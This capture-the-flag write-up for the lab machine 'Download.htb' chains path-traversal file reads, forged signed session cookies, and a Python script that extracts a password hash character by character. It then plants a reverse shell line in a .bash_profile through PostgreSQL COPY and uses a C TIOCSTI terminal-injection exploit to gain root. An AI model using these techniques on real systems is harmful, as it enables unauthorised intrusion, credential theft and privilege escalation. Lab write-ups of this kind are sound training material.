We begin with a port scan:
╰─ nmap -sC -sV 10.129.140.87
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-08 20:59 EDT
Nmap scan report for 10.129.140.87
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 cc:f1:63:46:e6:7a:0a:b8:ac:83:be:29:0f:d6:3f:09 (RSA)
| 256 2c:99:b4:b1:97:7a:8b:86:6d:37:c9:13:61:9f:bc:ff (ECDSA)
|_ 256 e6:ff:77:94:12:40:7b:06:a2:97:7a🇩🇪14:94:5b:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://download.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds
We see that we are being redirected to download.htb on port 80, so let’s add that to our hosts file and look at the site in our browser:

After making an account we can upload a file and we will notice some session cookies being made that are base64 encoded:

Decoding this cookie shows us the following:
╰─ echo "eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoiZ2FiZWN0ZiJ9fQ==" | base64 -d
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":16,"username":"gabectf"}}
After uploading the file we see the following on our home page:

We see some interesting stuff when we examine the download function in Burp Suite:

It looks like we can download the file just based off of some long name it generates for that file. We see the contents of the text file in the server’s response.
Before poking around too much, we can enumerate some of the technologies running on the site by using Wappalyzer or whatweb:
╰─ whatweb http://download.htb
http://download.htb [200 OK] Bootstrap, Cookies[download_session,download_session.sig], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[download_session,download_session.sig], IP[10.129.155.103], Script, Title[Download.htb - Share Files With Ease], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]
The site is using Express, which is a web application framework that runs on top of Node.js. Useful information but not too much use for it at the moment.
We can try some basic LFI payloads like ../ and ....//. When we URL encode the slash and try ..%2f, we can read some files. I opted to look for app.js because it was one of the examples in this blog post when I was looking around for common file names. I also found a post on stackoverflow on common file structures.

Let’s examine this file a bit more closely:
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
autoescape: true,
express: app,
noCache: true,
});
app.use((0, cookie_session_1.default)({
name: "download_session",
keys: ["8929874489719802418902487651347865819634518936754"],
maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
console.log("Listening on ", port);
if (process.env.NODE_ENV === "production") {
setTimeout(async () => {
await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
}, 300000);
}
});
There is a lot to dig through here but I’ll try to keep the less-relevant information brief.
We see a bunch of imports for different dependencies, then we see some constants defined shortly afterward. The prisma client and port number seem interesting but I’ll put them on the backburner for now. We also see a bunch of routes on the site as well as a function looking for a specific connection over that port we saw near the beginning of the file.
The really interesting thing we get here is where the app variable is initialized. We get to see a secret key for signing the cookies:
app.use((0, cookie_session_1.default)({
name: "download_session",
keys: ["8929874489719802418902487651347865819634518936754"],
maxAge: 7 * 24 * 60 * 60 * 1000,
}));
Here, the cookie_session middleware creates our download_session cookie and it is signed with a secret key.
At this point, I am not super sure where to go so I decided to enumerate further through the routes we see declared in this app.js file.
After looking around, we see a couple interesting files: /routers/files.js, /routers/auth.js, and package.json.
LFI Root Cause ~ files.js Analysis#
There is one function in this file, /download/:fileID that causes the vulnerability. It is shown below.
router.get("/download/:fileId", async (req, res) => {
const fileEntry = await client.file.findFirst({
where: { id: req.params.fileId },
select: {
name: true,
private: true,
authorId: true,
},
});
The file ID is passed through to the URL as a parameter, and there is literally no validation here.
To fix this vulnerability, you need to verify the file ID before using it to open the file. One way you could implement this is by using the user’s session to search for the file, and if they don’t have access to it, it shouldn’t be an issue.
If we take a look at auth.js we see some interesting pieces of information that might help us out.
const hashPassword = (password) => {
return node_crypto_1.default.createHash("md5").update(password).digest("hex");
};
Passwords are hashed with MD5 but aren’t salted at all, which means if we can get the hash for an admin user, we might be able to crack it.
But wait, there’s more!
router.post("/login", async (req, res) => {
const result = LoginValidator.safeParse(req.body);
if (!result.success) {
res.flash("error", "Your login details were invalid, please try again.");
return res.redirect("/auth/login");
}
const data = result.data;
const user = await client.user.findFirst({
where: { username: data.username, password: hashPassword(data.password) },
});
if (!user) {
res.flash("error", "That username / password combination did not exist.");
return res.redirect("/auth/register");
}
req.session.user = {
id: user.id,
username: user.username,
};
res.flash("success", "You are now logged in.");
return res.redirect("/home/");
});
This login function is important because it doesn’t use the randomly generated token when actually authenticating the user. We also know that the app is using the Prisma API.
Specifically, the findFirst query will return the entire object if we match part of the username and part of the password.
Thankfully, the package.json file has just that:
---SNIP---
"keywords": [],
"author": "wesley",
"license": "ISC",
"dependencies": {
"@prisma/client": "^4.13.0",
"cookie-parser": "^1.4.6",
"cookie-session": "^2.0.0",
"express": "^4.18.2",
"express-fileupload": "^1.4.0",
"zod": "^3.21.4"
},
---SNIP---
Baking Evil Cookies#
At this point, I was super confused until I took a step back and looked at the pieces and how we could use them together. This is why I think the machine was moved from medium difficulty to hard after release, because it is difficult to see all these things together. (In my opinion, but I’m no 1337 web master. At least not at the time of writing this.)
Let’s get a high-level overview of what we’ve got to work with so far:
- We have the secret key from
app.jsthat is used to sign download session cookies. - We know that the
auth.jslogic will allow us to verify whether or not an account and hash combination exists.- We know the password hash is unsalted MD5
- We know from
package.jsonthat there could be a user namedwesley
So, we can try make our own cookie that uses the prisma API to check if the username and hash are correct, then sign it, and try passing it along to see what the reply gives us.
When making and signing NodeJS Express cookies, HackTricks recommends the use of a tool called cookie-monster.
Once we’ve installed everything we need to use the tool, we need to make our cookie.json file that will test the first character of wesley’s hash:
{"user":{"username":{"contains": "wesley"}, "password":{"startsWith":"a"}}}
We can then use cookie-monster like so to make our download_session cookie:
╰─ ./cookie-monster/bin/cookie-monster.js -e -f cookie.json -k 8929874489719802418902487651347865819634518936754
_ _
_/0\/ \_
.-. .-` \_/\0/ '-.
/:::\ / ,_________, \
/\:::/ \ '. (:::/ `'-;
\ `-'`\ '._ `"'"'\__ \
`'-. \ `)-=-=( `, |
\ `-"` `"-` /
[+] Data Cookie: session=eyJ1c2VyIjp7InVzZXJuYW1lIjp7ImNvbnRhaW5zIjoid2VzbGV5In0sInBhc3N3b3JkIjp7InN0YXJ0c1dpdGgiOiJhIn19fQ==
[+] Signature Cookie: session.sig=3T_LVp_tMx7eYua1P1bGMbqQQSo
We use -e to encode the data from the cookie.json file, using the -k flag to use the signature key we found earlier.
We can then try to see what happens with different values in the password field of the cookie.
For reference, here is a legitimate request from the account I made looking at the /home endpoint:

Note: I did remove the If-None-Match: data from this GET request. Otherwise, it will return a 304-Unchanged response.
We can try the same thing with our new cookies:

It redirects us to the login page. If you continue going through the alphabet, eventually when you arrive at f, you’ll see the following:

If you continue this strategy, you’ll find that getting the next character in the password hash also gives us this same page. We can write a python script to automate this process:
import string
import requests
import json
import requests
import subprocess
#password variable
password = ''
# possible chars
chars = "abcdef0123456789"
# temp variable.
test = ''
# make the jwt.
def generate(c):
# make the cookie.json file with our password variable
query = {"user":{"username":{"contains": "WESLEY"}, "password":{"startsWith":c}}}
with open("cookie.json","w") as f:
f.write(json.dumps(query))
# have cookie-monster.js make our signed cookies
output = subprocess.check_output(["./cookie-monster.js", "-e", "-f", "cookie.json", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode().replace("\n"," ")
# split the output.
jwt = output.split("download_session=")[1]
jwt = jwt.split(" ")[0]
jwt = jwt.split("\x1b")[0]
sig = output.split("download_session.sig=")[1]
sig = sig.split("\x1b")[0]
# return the clean values
return jwt,sig
# iterate through the charactrers and brute force
for i in range(32):
for c in chars:
test = password + c
jwt, sig = generate(test)
cookie = {"download_session": jwt, "download_session.sig": sig}
r = requests.get('http://download.htb/home/', cookies=cookie)
if len(r.text) != 2174:
print(f"Found char: {c}")
password += c
print(password)
break
print(password)
Running this will get us the password hash for the wesley user:
╰─ python3 gethash.py
Found char: f
f
Found char: 8
f8
Found char: 8
f88
Found char: 9
f889
---SNIP---
You can crack this with hashcat or john, but crackstation worked just fine:

Alternatively, you can brute force the login page because the password is in a few common wordlists.
We can log into SSH as wesley and get our user flag:
wesley@download:~$ ls
user.txt
After submitting our user flag, we can start to enumerate for privilege escalation vectors. I opted to first run linPEAS to see what we could find and we see some hints towards postgresql:
---SNIP---
[+] Looking for root files in home dirs (limit 20)
/home
/home/wesley/.bash_history
/home/wesley/user.txt
/home/wesley/.psql_history
---SNIP---
We can look at the processes using pspy and see some interesting processes run by root that have to do with postgresql:
2023/08/14 00:59:27 CMD: UID=0 PID=9458 | /bin/sh /usr/bin/lesspipe
2023/08/14 00:59:27 CMD: UID=0 PID=9459 | /bin/sh /usr/bin/lesspipe
2023/08/14 00:59:27 CMD: UID=0 PID=9460 |
2023/08/14 00:59:27 CMD: UID=0 PID=9464 | /bin/bash -i ./manage-db
2023/08/14 00:59:27 CMD: UID=0 PID=9466 | /bin/sh /usr/bin/lesspipe
2023/08/14 00:59:27 CMD: UID=0 PID=9471 | systemctl status postgresql
2023/08/14 00:59:27 CMD: UID=0 PID=9472 | systemctl status download-site
2023/08/14 00:59:27 CMD: UID=0 PID=9473 | su -l postgres
2023/08/14 00:59:27 CMD: UID=113 PID=9474 | -bash
2023/08/14 00:59:27 CMD: UID=113 PID=9478 | -bash
2023/08/14 00:59:32 CMD: UID=113 PID=9480 | /usr/bin/perl /usr/bin/psql
2023/08/14 00:59:32 CMD: UID=113 PID=9481 | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2023/08/14 00:59:32 CMD: UID=113 PID=9487 | /lib64/ld-linux-x86-64.so.2 /usr/lib/postgresql/12/bin/psql
2023/08/14 00:59:32 CMD: UID=113 PID=9486 | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2023/08/14 00:59:32 CMD: UID=113 PID=9485 | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2023/08/14 00:59:32 CMD: UID=113 PID=9488 | postgres: 12/main: postgres postgres [local] idle
2023/08/14 01:00:02 CMD: UID=0 PID=9490 | /lib/systemd/systemd-udevd
2023/08/14 01:01:02 CMD: UID=0 PID=9495 | /usr/sbin/sshd -D -R
2023/08/14 01:01:02 CMD: UID=0 PID=9498 | /lib/systemd/systemd-udevd
It looks like there are a good amount of services being run by root, we can look in the /etc/systemd/system/ to examine these in more detail:
wesley@download:/etc/systemd/system$ ls -l
total 72
drwxr-xr-x 2 root root 4096 Jul 19 15:35 cloud-init.target.wants
---SNIP---
lrwxrwxrwx 1 root root 36 Apr 20 14:57 dbus-org.freedesktop.thermald.service -> /lib/systemd/system/thermald.service
lrwxrwxrwx 1 root root 45 Apr 23 2020 dbus-org.freedesktop.timesync1.service -> /lib/systemd/system/systemd-timesyncd.service
drwxr-xr-x 2 root root 4096 Jul 19 15:35 default.target.wants
-rw-r--r-- 1 root root 357 Apr 21 15:36 download-site.service
drwxr-xr-x 2 root root 4096 Jul 19 15:35 emergency.target.wants
drwxr-xr-x 2 root root 4096 Jul 19 15:35 getty.target.wants
drwxr-xr-x 2 root root 4096 Jul 19 15:35 graphical.target.wants
---SNIP---
In the pspy output, we see download-site get executed and immediately root switches users to postgres to presumably make some changes to a database or clean it up. Taking a look at this service reveals some interesting info:
wesley@download:/etc/systemd/system$ cat download-site.service
[Unit]
Description=Download.HTB Web Application
After=network.target
[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:Co**********************on@localhost:5432/download"
[Install]
WantedBy=multi-user.target
We’ve got a password for the postgresql database. We can log into it with psql like this:
wesley@download:~$ psql -h localhost -p 5432 -U download
Password for user download:
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
download=>
We can enumerate the privileges for the download user by using the \du flag:
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------------------+-------------------------
download | | {pg_write_server_files}
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
We see that we have the pg_write_server_files permission, which means that we can use the COPY command to write new files. You can read more about this on Hacktricks.
So we can write files as postgres user, and every now and again root runs su -l to run these services. This is important to keep in mind because using -l will initiate a login sequence. This means that when root switches over to that other user, files like bash_profile will be used when setting up the new shell environment.
Knowing this, we use our file writing privilege to make changes to the bash_profile file and get some code executed as postgres. We can run this command in psql:
COPY (SELECT CAST('bash -i >& /dev/tcp/10.10.14.184/7777 0>&1' AS text)) TO '/var/lib/postgresql/.bash_profile';
On our listener we do get a shell:
╰─ nc -lvp 7777
listening on [any] 7777 ...
connect to [10.10.14.184] from download.htb [10.129.143.15] 42942
postgres@download:~$ id
id
uid=113(postgres) gid=118(postgres) groups=118(postgres),117(ssl-cert)
postgres@download:~$
After maybe a minute or so, the shell dies. Probably because root switches users again, restraining our access.
If we use the w command to view current sessions on the system, we see that root is logged in and the TTY (terminal) he is logged into:
wesley@download:/$ w
01:30:02 up 41 min, 5 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
wesley pts/0 10.10.14.184 00:50 2:28 0.06s 0.03s /usr/lib/postgresql/
wesley pts/2 10.10.14.184 00:51 0.00s 0.02s 0.00s w
root pts/4 127.0.0.1 01:29 14.00s 0.03s 0.02s /usr/lib/postgresql/
So root is is running su every few minutes and has their own TTY each time. If we do some light googling we find a nifty article about how we could hijack their TTY: # su/sudo from root to another user allows TTY hijacking and arbitrary code execution.
The vulnerability occurs because su and sudo change the UID of the executed process to the non-root user, but the (pseudo) terminal is still that of the root user. The current terminal of a program is always accessible through /dev/tty. By opening this device as non-root user and then using the TIOCSTI ioctl(2) to fake user input on that terminal, the user can inject commands in the terminal.
We can take the Proof-Of-Concept from the article and modify it to make /bin/bash a SUID program:
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
int fd = open("/dev/tty", O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
char *x = "exit\n/bin/bash -c 'chmod u+s /bin/bash'\n";
while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x);
if (ret == -1) {
perror("ioctl()");
}
x++;
}
return 0;
}
Compile this code into a binary on your system, I used -static to include all the libraries if needed:
╰─ gcc exploit.c -o exploit -static
Note: make sure to chmod+x your exploit once you put it in the /tmp directory
Then we can go ahead and copy our exploit into the bash_profile file using psql and just wait until /bin/bash is made into a SUID program:
#our psql shell:
download=> COPY (SELECT CAST('/tmp/exploit' AS text)) TO '/var/lib/postgresql/.bash_profile';
Then we check to see if it worked:
wesley@download:/tmp$ ls -la ../../bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 ../../bin/bash
wesley@download:/tmp$ ls -la ../../bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 ../../bin/bash
Then just open a new bash shell and you’ve got root!